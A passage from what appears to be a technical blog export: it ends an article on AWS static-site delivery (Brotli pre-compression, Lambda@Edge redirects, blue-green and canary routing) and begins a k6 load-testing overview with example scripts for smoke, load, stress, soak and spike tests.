aws s3 cp main.js.br s3://bucket/assets/main.js \
  --content-encoding br \
  --content-type application/javascript
```

**Content negotiation function**: Inspects `Accept-Encoding` header, rewrites URI to serve optimal variant.

```javascript title="compression-negotiator.js" collapse={1-4}
// Lambda@Edge content negotiation function
// Inspects Accept-Encoding header and rewrites URI to serve pre-compressed files
// Requires pre-compressed .br and .gz files in S3 with correct Content-Encoding metadata

exports.handler = (event, context, callback) => {
  const request = event.Records[0].cf.request
  const headers = request.headers
  const acceptEncoding = headers["accept-encoding"] ? headers["accept-encoding"][0].value.toLowerCase() : ""

  // Determine the best compression format (prefer Brotli over Gzip)
  let compressionSuffix = ""
  if (acceptEncoding.includes("br")) {
    compressionSuffix = ".br"
  } else if (acceptEncoding.includes("gzip")) {
    compressionSuffix = ".gz"
  }

  // Rewrite the request URI to include the compression suffix
  if (compressionSuffix && request.uri.match(/\.(js|css|html|svg)$/)) {
    request.uri = request.uri + compressionSuffix
  }

  callback(null, request)
}
```

**CloudFront configuration**:

- Cache policy: Include `Accept-Encoding` header in cache key (ensures separate cache entries per encoding)
- Disable automatic compression: Set "Compress Objects Automatically" to No
- Origin request policy: Forward `Accept-Encoding` to S3

### Production Impact

E-commerce site benchmark (production deployment):

- **Uncompressed size**: 3.7MB
- **Brotli Q11**: ~247KB (15:1 ratio)
- **Gzip -9**: ~463KB (8:1 ratio)
- **Bandwidth savings**: 85-90%
- **Load time improvement**: 40-60% faster

The pattern shifts content negotiation from web server to CDN edge—serverless architecture serving optimal assets per-client capability.

## Edge Redirect Strategies

URL redirects preserve SEO equity, fix broken links, and enable site restructuring. The architectural decision: where does redirect logic execute?

### Client-Side Redirects (Meta Refresh)

Suitable for simple cases but incurs full page download before redirect.

```html
<!doctype html>
<html>
  <head>
    <title>Redirecting to https://path/to/redirect</title>
    <meta http-equiv="refresh" content="0;url=https://path/to/redirect" />
    <meta name="robots" content="noindex" />
    <link rel="canonical" href="https://path/to/redirect" />
  </head>
  <body>
    <a href="https://path/to/redirect">Redirect to https://path/to/redirect</a>
  </body>
</html>
```

**SEO consideration**: Search engines follow meta refresh but prefer server-side 301 redirects for link equity transfer.

### S3 Routing Rules

**Critical limitation**: S3 routing rules only work with **public website endpoints**, not private buckets with Origin Access Control (OAC). For production SSG architectures using private S3 + CloudFront, this method is unavailable.

Additionally:

- Limited to 50 rules per bucket
- Redirect executes at origin, not edge (full round-trip: Browser → CloudFront → S3 → redirect)
- No programmatic logic—pattern matching only

```json
{
  "RoutingRules": [
    {
      "Condition": { "KeyPrefixEquals": "docs/" },
      "Redirect": { "ReplaceKeyPrefixWith": "documents/" }
    }
  ]
}
```

**Recommendation**: Use CloudFront Functions or Lambda@Edge instead—faster, more flexible, works with private buckets.

### Lambda@Edge Edge Redirects

Redirects execute at edge location before cache lookup—minimal latency (Browser → CloudFront → Browser).

```javascript collapse={1-10}
// A Lambda@Edge function for managing redirects at the edge.
"use strict"

// Redirect rules can be managed within the function or loaded from an external source
const redirectMap = {
  "/old-product-page": { destination: "/new-product-page", httpStatus: 301 },
  "/promo": { destination: "/current-sale", httpStatus: 302 },
  "/legacy-docs": { destination: "https://docs.example.com", httpStatus: 301 },
}

exports.handler = (event, context, callback) => {
  const request = event.Records[0].cf.request
  const uri = request.uri

  if (redirectMap[uri]) {
    const redirect = redirectMap[uri]
    const response = {
      status: redirect.httpStatus.toString(),
      statusDescription: redirect.httpStatus === 301 ? "Moved Permanently" : "Found",
      headers: {
        location: [
          {
            key: "Location",
            value: redirect.destination,
          },
        ],
        "cache-control": [
          {
            key: "Cache-Control",
            value: "max-age=3600", // Cache the redirect response for 1 hour
          },
        ],
      },
    }
    // Return the redirect response immediately
    callback(null, response)
  } else {
    // No redirect rule matched, allow the request to proceed
    callback(null, request)
  }
}
```

**Advantages over S3 routing**:

- **Latency**: Single hop vs origin round-trip
- **Scalability**: Redirect map in DynamoDB supports thousands of rules, updated without function redeployment
- **Flexibility**: Programmatic logic (geo-redirects, device detection, A/B routing)
- **Private bucket compatible**: Works with OAC-protected S3 origins

**Alternative: CloudFront Functions**: For simple redirect maps (no network access needed), CloudFront Functions at $0.10/1M invocations is more cost-effective than Lambda@Edge at $0.60/1M. Use Lambda@Edge only when you need DynamoDB lookups or complex logic.

## Advanced Deployment Patterns

For business-critical applications requiring gradual rollouts and instant rollback capabilities.

### Blue-Green Deployments

Maintain two parallel production environments (Blue, Green). Traffic switches atomically between them.

**Why Lambda@Edge for blue-green?** Cookie-based routing requires reading request headers and modifying origin—capabilities only available in Lambda@Edge, not CloudFront Functions.

**Architecture**: Single CloudFront distribution, Lambda@Edge routes based on cookie or header:

```javascript title="blue-green-router.js" collapse={1-5}
// This function routes traffic to a 'blue' or 'green' S3 origin
// based on a cookie. This allows for targeted testing and instant switching.
const blueOriginDomain = "my-site-blue.s3.amazonaws.com"
const greenOriginDomain = "my-site-green.s3.amazonaws.com"

exports.handler = async (event) => {
  const request = event.Records[0].cf.request
  const headers = request.headers

  // Default to the stable 'blue' origin
  let targetOriginDomain = blueOriginDomain

  // Check for a routing cookie to direct traffic to 'green'
  if (headers.cookie) {
    for (const cookie of headers.cookie) {
      // A cookie 'routing=green' will switch the user to the green environment
      if (cookie.value.includes("routing=green")) {
        targetOriginDomain = greenOriginDomain
        break
      }
    }
  }

  // Update the origin domain in the request that CloudFront will send to S3
  request.origin.s3.domainName = targetOriginDomain

  // Also update the Host header to match the S3 origin domain
  headers["host"] = [
    {
      key: "Host",
      value: targetOriginDomain,
    },
  ]

  return request
}
```

### Canary Releases

Shift traffic gradually (1% → 5% → 25% → 100%) while monitoring error rates and performance metrics.

**IP-based consistent routing**: Hash client IP to ensure same user sees same version across requests (session stability):

```javascript title="canary-router.js" collapse={1-4}
// Lambda@Edge canary release router
// Routes a percentage of traffic to canary origin based on IP hash
// Provides consistent routing per user for session stability

exports.handler = async (event) => {
  const request = event.Records[0].cf.request
  const headers = request.headers

  // Get user identifier (IP, user agent hash, etc.)
  const userIP = headers["x-forwarded-for"] ? headers["x-forwarded-for"][0].value : "unknown"

  // Simple hash function to determine canary percentage
  const hash = userIP.split(".").reduce((a, b) => a + parseInt(b), 0)
  const canaryPercentage = 10 // 10% of traffic

  // Route to canary if user falls within the percentage
  const shouldUseCanary = hash % 100 < canaryPercentage

  const targetOrigin = shouldUseCanary ? "canary-bucket.s3.amazonaws.com" : "production-bucket.s3.amazonaws.com"

  request.origin.s3.domainName = targetOrigin

  return request
}
```

**Monitoring during canary**: Track error rates, latency percentiles, and Core Web Vitals for canary cohort vs production. Automated rollback triggers when metrics degrade beyond threshold.

## Conclusion

SSG performance optimization is an exercise in shifting complexity: from request-time to build-time (pre-rendering, pre-compression), from origin to edge (Lambda@Edge routing, CloudFront caching), from runtime to deploy-time (atomic deployments, versioned rollbacks).

**Key architectural principles**:

1. **Build-time is free, request-time is expensive**: Pre-render, pre-compress, pre-compute. Every millisecond saved at build time compounds across millions of requests.

2. **Atomic deployments enable instant rollback**: Versioned S3 directories + CloudFront origin path updates. No partial failures, no corrupted states.

3. **Edge intelligence reduces latency**: Lambda@Edge for complex routing, CloudFront Functions for simple transformations. Choose based on capability requirements, not defaults.

4. **Core Web Vitals are architectural constraints**: CLS <0.1, LCP <2.5s, INP <200ms aren't just metrics—they're design requirements that influence dual-build strategies, font loading, and image dimension handling.

5. **Cost awareness at scale**: CloudFront Functions at $0.10/1M vs Lambda@Edge at $0.60/1M. Origin Shield adds cost but reduces S3 requests. Cache invalidations free for first 1,000/month.

The future of high-performance delivery isn't choosing between static and dynamic—it's per-component rendering decisions orchestrated at the edge.

## Appendix

### Prerequisites

- AWS fundamentals: S3, CloudFront, Lambda
- CDN caching concepts: TTL, cache keys, invalidation
- HTTP compression: Gzip, Brotli, Accept-Encoding header
- Core Web Vitals metrics and measurement

### Terminology

- **TTFB (Time to First Byte)**: Time from request initiation to first byte of response
- **FCP (First Contentful Paint)**: Time until first content renders on screen
- **LCP (Largest Contentful Paint)**: Time until largest content element renders
- **CLS (Cumulative Layout Shift)**: Sum of unexpected layout shifts during page lifecycle
- **INP (Interaction to Next Paint)**: Latency of user interactions (replaces FID)
- **ISR (Incremental Static Regeneration)**: Re-generating static pages on-demand after initial build
- **OAC (Origin Access Control)**: CloudFront mechanism to restrict S3 access
- **Origin Shield**: CloudFront caching layer between edge locations and origin

### Summary

- SSG shifts computation from request-time to build-time, reducing TTFB from 200-500ms to <50ms
- Atomic deployments via versioned S3 directories enable instant rollback
- Lambda@Edge ($0.60/1M) for complex routing, CloudFront Functions ($0.10/1M) for simple transformations
- Pre-compression with Brotli Q11 achieves 15-20% smaller files than Gzip
- Core Web Vitals targets: CLS <0.1, LCP <2.5s, INP <200ms
- Cache invalidation: 1,000 paths/month free, $0.005/path beyond

### References

**AWS Documentation (Primary)**

- [CloudFront Serving Compressed Files](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/ServingCompressedFiles.html) - Compression limits, Brotli requirements
- [CloudFront Functions vs Lambda@Edge](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/edge-functions-choosing.html) - Capability comparison, pricing
- [CloudFront Origin Shield](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/origin-shield.html) - Architecture, benefits
- [CloudFront Cache Policy Best Practices](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DownloadDistValuesCacheBehavior.html) - Cache key configuration
- [S3 Website Routing Rules](https://docs.aws.amazon.com/AmazonS3/latest/userguide/how-to-page-redirect.html) - 50 rule limit, limitations
- [CloudFront Invalidation Pricing](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/PayingForInvalidation.html) - Free tier, cost structure
- [Zero-downtime Deployments with CloudFront](https://aws.amazon.com/blogs/networking-and-content-delivery/achieving-zero-downtime-deployments-with-amazon-cloudfront-using-blue-green-continuous-deployments/) - Blue-green architecture

**Web Vitals (Google)**

- [Core Web Vitals Thresholds](https://web.dev/articles/defining-core-web-vitals-thresholds) - CLS, LCP, INP thresholds
- [Cumulative Layout Shift (CLS)](https://web.dev/articles/cls) - Measurement, optimization
- [CLS Optimization Guide](https://web.dev/articles/optimize-cls) - Mitigation patterns

**Compression**

- [Brotli Browser Support](https://caniuse.com/brotli) - 95.9% as of 2025
- [Brotli Compression Research (Cloudflare)](https://blog.cloudflare.com/results-experimenting-brotli/) - Compression ratio benchmarks
- [Squash Compression Benchmark](https://quixdb.github.io/squash-benchmark/#results) - Algorithm comparison

**Framework Documentation**

- [Next.js Static Export](https://nextjs.org/docs/pages/guides/static-exports) - SSG, ISR configuration
- [Astro Performance](https://docs.astro.build/en/concepts/why-astro/) - Islands architecture, build optimization

**Web Standards**

- [LayoutShiftAttribution API (MDN)](https://developer.mozilla.org/en-US/docs/Web/API/LayoutShiftAttribution) - CLS debugging
- [HTTP Redirections (MDN)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections) - 301 vs 302 semantics

---

## k6 Load Testing Overview: Smoke, Spike, Soak, Stress

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/experimentation-testing/k6-load-testing-overview
**Category:** Platform Engineering / Experimentation & Testing
**Description:** Master k6’s Go-based architecture, JavaScript scripting capabilities, and advanced workload modeling for modern DevOps and CI/CD performance testing workflows.

# k6 Load Testing Overview: Smoke, Spike, Soak, Stress

Master k6's Go-based architecture, JavaScript scripting capabilities, and advanced workload modeling for modern DevOps and CI/CD performance testing workflows.

## TLDR

**k6** is a modern, developer-centric performance testing framework built on Go's goroutines and JavaScript scripting, designed for DevOps and CI/CD workflows with exceptional resource efficiency and scalability.

### Core Architecture

- **Go-based Engine**: High-performance execution using goroutines (lightweight threads) instead of OS threads
- **JavaScript Scripting**: ES6+ compatible scripting with embedded Sobek runtime (no Node.js dependency)
- **Resource Efficiency**: Single binary with minimal memory footprint (256MB vs 760MB for JMeter)
- **Scalability**: Single instance can handle 30,000-40,000 concurrent virtual users

### Performance Testing Patterns

- **Smoke Testing**: Minimal load (3 VUs) to verify basic functionality and establish baselines
- **Load Testing**: Average load assessment with ramping stages to measure normal performance
- **Stress Testing**: Extreme loads to identify breaking points and system behavior under stress
- **Soak Testing**: Extended periods (8+ hours) to detect memory leaks and performance degradation
- **Spike Testing**: Sudden traffic bursts to test system resilience and recovery capabilities

### Workload Modeling

- **Closed Models (VU-based)**: Fixed number of virtual users, throughput as output
- **Open Models (Arrival-rate)**: Fixed request rate, VUs as output
- **Scenarios API**: Multiple workload profiles in single test with parallel/sequential execution
- **Executors**: Constant VUs, ramping VUs, constant arrival rate, ramping arrival rate

### Advanced Features

- **Metrics Framework**: Built-in HTTP metrics, custom metrics (Counter, Gauge, Rate, Trend)
- **Thresholds**: Automated pass/fail analysis with SLOs codified in test scripts
- **Asynchronous Execution**: Per-VU event loops for complex user behavior simulation
- **Data-driven Testing**: CSV/JSON data loading with SharedArray for realistic scenarios
- **Environment Configuration**: Environment variables for multi-environment testing

### CI/CD Integration

- **Tests as Code**: JavaScript scripts version-controlled in Git with peer review
- **Automated Workflows**: Seamless integration with GitHub Actions, Jenkins, GitLab CI
- **Shift-left Testing**: Early performance validation in development pipeline
- **Threshold Validation**: Automated performance regression detection

### Extensibility (xk6)

- **Custom Extensions**: Native Go extensions for new protocols and integrations
- **Popular Extensions**: Kafka, MQTT, PostgreSQL, MySQL, browser testing
- **Output Extensions**: Custom metric streaming to Prometheus, Elasticsearch, AWS
- **Build System**: xk6 tool for compiling custom k6 binaries with extensions

### Developer Experience

- **JavaScript API**: Familiar ES6 syntax with built-in modules (k6/http, k6/check)
- **CLI-first Design**: Command-line interface optimized for automation
- **Real-time Output**: Live metrics and progress during test execution
- **Comprehensive Documentation**: Extensive guides and examples

### Best Practices

- **Incremental Complexity**: Start with smoke tests, gradually increase load
- **Realistic Scenarios**: Model actual user behavior patterns
- **Environment Parity**: Test against production-like environments
- **Monitoring Integration**: Real-time metrics with external monitoring tools
- **Performance Baselines**: Establish and maintain performance thresholds

### Competitive Advantages

- **Resource Efficiency**: 10x better memory usage compared to JMeter
- **Developer Productivity**: JavaScript scripting with modern tooling
- **CI/CD Native**: Designed for automated testing workflows
- **Scalability**: Single instance handles enterprise-scale loads
- **Extensibility**: Custom extensions for specialized requirements

## Introduction

k6 represents a paradigmatic shift in performance testing, engineered from first principles for DevOps, SRE, and CI/CD pipelines. Its core innovation is a developer-centric philosophy that treats performance testing as an integral, code-driven component of the software development lifecycle rather than a post-facto quality assurance activity.

k6 targets developers, QA engineers, SDETs, and SREs who share responsibility for system performance. Its "Everything as code" approach enables test scripts to be version-controlled in Git, subjected to peer review, and seamlessly integrated into automated workflows—enabling "shift-left" testing that embeds performance validation early in the development process.

<figure>

![Performance Testing Patterns Overview](./smoke-test.png)

<figcaption>Overview of different performance testing patterns including smoke, load, stress, soak, and spike testing methodologies</figcaption>

</figure>

## The Architectural Foundation: Go and Goroutines

### Performance through Efficiency: The Go Concurrency Model

The performance and efficiency of a load generation tool are paramount, as the tool itself must not become the bottleneck in the system under test. The architectural foundation of k6 is the Go programming language, a choice that directly addresses the limitations of older, thread-heavy performance testing frameworks and provides the resource efficiency necessary for modern development practices.

#### Goroutines vs. Traditional Threads

The defining characteristic of k6's performance is its use of Go's concurrency primitives—specifically, goroutines and channels—to simulate Virtual Users (VUs). Unlike traditional tools such as JMeter, which are built on the Java Virtual Machine (JVM) and typically map each virtual user to a dedicated operating system thread, k6 leverages goroutines. Goroutines are lightweight, cooperatively scheduled threads managed by the Go runtime, not the OS kernel.

This architectural distinction has profound implications for resource consumption:

- **Memory Efficiency**: A standard OS thread managed by the JVM can consume a significant amount of memory, with a default stack size often starting at 1 MB. In stark contrast, a goroutine begins with a much smaller stack (a few kilobytes) that can grow and shrink as needed.
- **Scalability**: Analysis indicates that a single thread running k6 consumes less than 100 KB of memory, representing a tenfold or greater improvement in memory efficiency compared to a default JVM thread.
- **Concurrent Users**: This efficiency allows a single k6 process to effectively utilize all available CPU cores on a load generator machine, enabling a single instance to simulate tens of thousands—often between 30,000 and 40,000—concurrent VUs without succumbing to memory exhaustion.

#### Resource Footprint Analysis: The Foundation of "Shift-Left"

The practical benefit of this extreme resource efficiency extends beyond mere cost savings on load generation infrastructure. It is the critical technical enabler of the "shift-left" philosophy. Because k6 is distributed as a single, self-contained binary with no external dependencies like a JVM or a Node.js runtime, it is trivial to install and execute in any environment, from a developer's local machine to a resource-constrained CI/CD runner in a container.

This stands in direct opposition to more resource-intensive, Java-based tools, which often require dedicated, high-specification hardware and careful JVM tuning to run effectively, making them impractical for frequent, automated execution as part of a development pipeline.

### Installation and Setup

```bash
# macOS
brew install k6

# Docker
docker pull grafana/k6

# Docker with browser support
docker pull grafana/k6:master-with-browser
```

## The Go-JavaScript Bridge: The Embedded JavaScript Runtime

While k6's execution engine is written in high-performance Go, its test scripts are authored in JavaScript. This separation of concerns is a deliberate architectural decision, facilitated by an embedded JavaScript runtime and a sophisticated interoperability bridge.

### From Goja to Sobek: The Embedded JavaScript Engine

k6 has always embedded a pure-Go JavaScript engine rather than relying on external runtimes. This architectural choice eliminates dependencies like Node.js or a JVM, simplifying installation to a single binary download and ensuring consistent behavior across environments.

**Goja (2017–2024)**: k6 originally used [goja](https://github.com/dop251/goja), an ECMAScript 5.1 implementation in pure Go with emphasis on standard compliance and performance. Over the years, goja added most ES6 features, but development pace didn't match k6's needs for ESM (ECMAScript Modules) support.

**Sobek (2024–present)**: In [k6 v0.52.0](https://github.com/grafana/k6/releases/tag/v0.52.0), the Grafana team forked goja into their own project named "sobek" to accelerate development. This fork enabled faster iteration on ES6+ features and native ESM support. Starting with this release, k6 and all its extensions use Sobek for the JavaScript runtime.

The `experimental_enhanced` compatibility mode (introduced in v0.52.0) enables TypeScript and ES6+ support using esbuild instead of Babel, providing features like optional chaining, nullish coalescing, and class private fields.

### Implications of a Non-Node.js Runtime

k6 does not run on Node.js. The embedded Sobek runtime provides a standard ECMAScript environment but does not include Node.js-specific APIs like `fs` (file system) or `path` modules, nor does it support the NPM package ecosystem directly.

While bundlers like Webpack or esbuild can transpile browser-compatible JavaScript libraries for use in k6, any library relying on native Node.js modules or OS-level access will not function. This is a deliberate design choice—k6 prioritizes a self-contained binary over Node.js ecosystem compatibility.

## Your First k6 Script: Understanding the Basics

Let's start with a simple example to understand k6's fundamental structure:

```js
import http from "k6/http"

export const options = {
  discardResponseBodies: true, // Discard response bodies if not needed for checks
}

export default function () {
  // Make a GET request to the target URL
  http.get("https://test-api.k6.io")
}
```

This basic script demonstrates k6's core concepts:

- **Imports**: k6 provides built-in modules like `k6/http` for making HTTP requests
- **Options**: Configuration object that defines test parameters
- **Default Function**: The main test logic that gets executed repeatedly

## Asynchronous Execution Model: The Per-VU Event Loop

To accurately simulate complex user behaviors and handle modern, asynchronous communication protocols, a robust mechanism for managing non-blocking operations is essential. k6 implements a sophisticated asynchronous execution model centered around a dedicated event loop for each Virtual User.

### Architecture of the VU-Scoped Event Loop

At the core of k6's execution model is the concept that each Virtual User (VU) operates within a completely isolated, self-contained JavaScript runtime. A critical component of this runtime is its own dedicated event loop. This is not a single, global event loop shared across all VUs, but rather a distinct event loop instantiated for each concurrent VU.

This architectural choice is fundamental to ensuring that:

- The actions and state of one VU do not interfere with another
- Asynchronous operations within a single VU's iteration do not "leak" into subsequent iterations
- Each iteration is a discrete and independent unit of work

### Managing Asynchronous Operations

The interaction between the JavaScript runtime and the Go-based event loop is governed by a strict and explicit contract. When a JavaScript function needs to perform an asynchronous operation (e.g., an HTTP request), the underlying Go module must signal its intent to the event loop via the `RegisterCallback()` function.

This mechanism ensures that the event loop is fully aware of all pending asynchronous operations and will not consider an iteration complete until every registered callback has been enqueued and processed. This robust contract enables k6 to correctly support modern JavaScript features like async/await and Promises.

## Modeling Reality: Advanced Workload Simulation with Scenarios and Executors

A performance test's value is directly proportional to its ability to simulate realistic user traffic patterns. k6 provides a highly sophisticated and flexible framework for workload modeling through its Scenarios and Executors API.

### The Scenario API: Composing Complex, Multi-Stage Tests

The foundation of workload modeling in k6 is the scenarios object, configured within the main test options. This API allows for the definition of multiple, distinct workload profiles within a single test script, providing granular control over how VUs and iterations are scheduled.

Each property within the scenarios object defines a unique scenario that can:

- Execute a different function using the `exec` property
- Have a distinct load profile through assigned executors
- Possess unique tags and environment variables
- Run in parallel or sequentially using the `startTime` property

### Executor Deep Dive: Open vs. Closed Models

The behavior of each scenario is dictated by its assigned executor. k6 provides a variety of executors that can be broadly categorized into two fundamental workload models:

<figure>

![Load Testing Patterns](./avg-load-test.png)

<figcaption>Average load testing pattern showing consistent user load over time to measure system performance under normal conditions</figcaption>

</figure>

#### Closed Models (VU-based)

In a closed model, the number of concurrent VUs is the primary input parameter. The system's throughput (e.g., requests per second) is an output of the test, determined by how quickly the system under test can process the requests from the fixed number of VUs.

**Example: Constant VUs**

```js
import http from "k6/http"

export const options = {
  discardResponseBodies: true,
  vus: 10, // Fixed number of VUs
  duration: "30s", // Test duration
}

export default function () {
  http.get("https://test-api.k6.io")
}
```

**Example: Ramping VUs**

```js
import http from "k6/http"

export const options = {
  discardResponseBodies: true,
  stages: [
    { duration: "30s", target: 20 }, // Ramp up to 20 VUs
    { duration: "1m", target: 20 }, // Stay at 20 VUs
    { duration: "30s", target: 0 }, // Ramp down to 0 VUs
  ],
}

export default function () {
  http.get("https://test-api.k6.io")
}
```

#### Open Models (Arrival-Rate)

In an open model, the rate of new arrivals (iterations per unit of time) is the primary input parameter. The number of VUs required to sustain this rate is an output of the test.

**Example: Constant Arrival Rate**

```js
import http from "k6/http"

export const options = {
  discardResponseBodies: true,
  scenarios: {
    constant_request_rate: {
      executor: "constant-arrival-rate",
      rate: 10, // Target RPS
      timeUnit: "1s",
      duration: "30s",
      preAllocatedVUs: 5, // Initial VUs
      maxVUs: 20, // Maximum VUs
    },
  },
}

export default function () {
  http.get("https://test-api.k6.io")
}
```

**Example: Ramping Arrival Rate**

```js collapse={1-2, 25-27}
import http from "k6/http"

export const options = {
  discardResponseBodies: true,
  scenarios: {
    ramping_arrival_rate: {
      executor: "ramping-arrival-rate",
      startRate: 1, // Initial RPS
      timeUnit: "1s",
      preAllocatedVUs: 5,
      maxVUs: 20,
      stages: [
        { duration: "5s", target: 5 }, // Ramp up to 5 RPS
        { duration: "10s", target: 5 }, // Constant load at 5 RPS
        { duration: "5s", target: 10 }, // Ramp up to 10 RPS
        { duration: "10s", target: 10 }, // Constant load at 10 RPS
        { duration: "5s", target: 15 }, // Ramp up to 15 RPS
        { duration: "10s", target: 15 }, // Constant load at 15 RPS
      ],
    },
  },
}

export default function () {
  http.get("https://test-api.k6.io")
}
```

### Multiple Scenarios: Complex Workload Simulation

k6 allows running multiple scenarios in a single test, enabling complex workload simulation:

```js collapse={1-2, 29-31}
import http from "k6/http"

export const options = {
  discardResponseBodies: true,
  scenarios: {
    // Scenario 1: Constant load for API testing
    api_load: {
      executor: "constant-arrival-rate",
      rate: 50,
      timeUnit: "1s",
      duration: "2m",
      preAllocatedVUs: 10,
      maxVUs: 50,
    },
    // Scenario 2: Ramping load for web testing
    web_load: {
      executor: "ramping-vus",
      startVUs: 0,
      stages: [
        { duration: "1m", target: 20 },
        { duration: "1m", target: 20 },
        { duration: "1m", target: 0 },
      ],
    },
  },
}

export default function () {
  http.get("https://test-api.k6.io")
}
```

## Performance Testing Scenarios: From Smoke to Stress

### Smoke Testing: Foundation Validation

Smoke tests have minimal load and are used to verify that the system works well under minimal load and to gather baseline performance values.

<figure>

![Smoke Testing Pattern](./smoke-test.png)

<figcaption>Smoke testing pattern demonstrating minimal load to verify basic system functionality</figcaption>

</figure>

```js collapse={1-2}
import http from "k6/http"
import { check, sleep } from "k6"

export const options = {
  vus: 3, // Minimal VUs for smoke test
  duration: "1m",
  thresholds: {
    http_req_duration: ["p(95)<500"], // 95% of requests under 500ms
    http_req_failed: ["rate<0.01"], // Less than 1% failure rate
  },
}

export default function () {
  const response = http.get("https://test-api.k6.io")

  check(response, {
    "status is 200": (r) => r.status === 200,
    "response time < 500ms": (r) => r.timings.duration < 500,
  })

  sleep(1)
}
```

### Load Testing: Average Load Assessment

Load testing assesses how the system performs under typical load conditions.

<figure>

![Average Load Testing Pattern](./avg-load-test.png)

<figcaption>Average load testing pattern showing consistent user load over time to measure system performance under normal conditions</figcaption>

</figure>

```js collapse={1-2}
import http from "k6/http"
import { sleep } from "k6"

export const options = {
  stages: [
    { duration: "5m", target: 100 }, // Ramp up to 100 users
    { duration: "30m", target: 100 }, // Stay at 100 users
    { duration: "5m", target: 0 }, // Ramp down to 0 users
  ],
  thresholds: {
    http_req_duration: ["p(95)<1000"], // 95% under 1 second
    http_req_failed: ["rate<0.05"], // Less than 5% failure rate
  },
}

export default function () {
  http.get("https://test-api.k6.io")
  sleep(1)
}
```

### Stress Testing: Breaking Point Analysis

Stress testing subjects the application to extreme loads to identify its breaking point and assess its behavior under stress.

<figure>

![Stress Testing Pattern](./stress-test.png)

<figcaption>Stress testing pattern showing increasing load until system failure to identify breaking points</figcaption>

</figure>

```js collapse={1-2}
import http from "k6/http"
import { sleep } from "k6"

export const options = {
  stages: [
    { duration: "10m", target: 200 }, // Ramp up to 200 users
    { duration: "30m", target: 200 }, // Stay at 200 users
    { duration: "5m", target: 0 }, // Ramp down to 0 users
  ],
  thresholds: {
    http_req_duration: ["p(95)<2000"], // 95% under 2 seconds
    http_req_failed: ["rate<0.10"], // Less than 10% failure rate
  },
}

export default function () {
  http.get("https://test-api.k6.io")
  sleep(1)
}
```

### Soak Testing: Long-term Stability

Soak testing focuses on extended periods to analyze performance degradation and resource consumption over time.

<figure>

![Soak Testing Pattern](./soak-testing.png)

<figcaption>Soak testing pattern showing sustained load over extended periods to detect memory leaks and performance degradation</figcaption>

</figure>

```js collapse={1-2}
import http from "k6/http"
import { sleep } from "k6"

export const options = {
  stages: [
    { duration: "5m", target: 100 }, // Ramp up to 100 users
    { duration: "8h", target: 100 }, // Stay at 100 users for 8 hours
    { duration: "5m", target: 0 }, // Ramp down to 0 users
  ],
  thresholds: {
    http_req_duration: ["p(95)<1500"], // 95% under 1.5 seconds
    http_req_failed: ["rate<0.02"], // Less than 2% failure rate
  },
}

export default function () {
  http.get("https://test-api.k6.io")
  sleep(1)
}
```

### Spike Testing: Sudden Traffic Bursts

Spike testing verifies whether the system survives and performs under sudden and massive rushes of utilization.

<figure>

![Spike Testing Pattern](./spike-testing.png)

<figcaption>Spike testing pattern showing sudden load increases to test system resilience and recovery capabilities</figcaption>

</figure>

```js collapse={1-2}
import http from "k6/http"
import { sleep } from "k6"

export const options = {
  stages: [
    { duration: "2m", target: 2000 }, // Fast ramp-up to 2000 users
    { duration: "1m", target: 0 }, // Quick ramp-down to 0 users
  ],
  thresholds: {
    http_req_duration: ["p(95)<3000"], // 95% under 3 seconds
    http_req_failed: ["rate<0.15"], // Less than 15% failure rate
  },
}

export default function () {
  http.get("https://test-api.k6.io")
  sleep(1)
}
```

## Quantifying Performance: The Metrics and Thresholds Framework

Generating load is only one half of performance testing; the other, equally critical half is the collection, analysis, and validation of performance data. k6 incorporates a robust and flexible framework for handling metrics.

### The Metrics Pipeline: Collection, Tagging, and Aggregation

By default, k6 automatically collects a rich set of built-in metrics relevant to the protocols being tested. For HTTP tests, this includes granular timings for each stage of a request:

- `http_req_blocking`: Time spent waiting for a connection slot
- `http_req_connecting`: Time spent establishing TCP connection
- `http_req_tls_handshaking`: Time spent in TLS handshake
- `http_req_sending`: Time spent sending data
- `http_req_waiting`: Time spent waiting for response (TTFB)
- `http_req_receiving`: Time spent receiving response data
- `http_req_duration`: Total request duration
- `http_req_failed`: Request failure rate

### Metric Types

All metrics in k6 fall into one of four fundamental types:

1. **Counter**: A cumulative metric that only ever increases (e.g., `http_reqs`)
2. **Gauge**: A metric that stores the last recorded value (e.g., `vus`)
3. **Rate**: A metric that tracks the percentage of non-zero values (e.g., `http_req_failed`)
4. **Trend**: A statistical metric that calculates aggregations like percentiles (e.g., `http_req_duration`)

### Creating Custom Metrics

k6 provides a simple yet powerful API for creating custom metrics:

```js collapse={1-2, 11-14}
import http from "k6/http"
import { Trend, Rate, Counter } from "k6/metrics"
import { sleep } from "k6"

// Custom metrics
const loginTransactionDuration = new Trend("login_transaction_duration")
const loginSuccessRate = new Rate("login_success_rate")
const totalLogins = new Counter("total_logins")

export const options = {
  vus: 10,
  duration: "30s",
}

export default function () {
  const startTime = Date.now()

  // Simulate login process
  const loginResponse = http.post("https://test-api.k6.io/login", {
    username: "testuser",
    password: "testpass",
  })

  const endTime = Date.now()
  const transactionDuration = endTime - startTime

  // Record custom metrics
  loginTransactionDuration.add(transactionDuration)
  loginSuccessRate.add(loginResponse.status === 200)
  totalLogins.add(1)

  sleep(1)
}
```

### Codifying SLOs with Thresholds

Thresholds serve as the primary mechanism for automated pass/fail analysis. They are performance expectations, or Service Level Objectives (SLOs), that are codified directly within the test script's options object.

```js collapse={1-3}
import http from "k6/http"
import { check, sleep } from "k6"

export const options = {
  vus: 10,
  duration: "30s",
  thresholds: {
    // Response time thresholds
    http_req_duration: ["p(95)<500", "p(99)<1000"],

    // Error rate thresholds
    http_req_failed: ["rate<0.01"],

    // Custom metric thresholds
    login_transaction_duration: ["p(95)<2000"],
    login_success_rate: ["rate>0.99"],
  },
}

export default function () {
  const response = http.get("https://test-api.k6.io")

  check(response, {
    "status is 200": (r) => r.status === 200,
    "response time < 500ms": (r) => r.timings.duration < 500,
  })

  sleep(1)
}
```

## Comparative Analysis: k6 in the Landscape of Performance Tooling

The selection of a performance testing tool is a significant architectural decision that reflects an organization's technical stack, development culture, and operational maturity.

### Architectural Showdown: Runtime Comparison

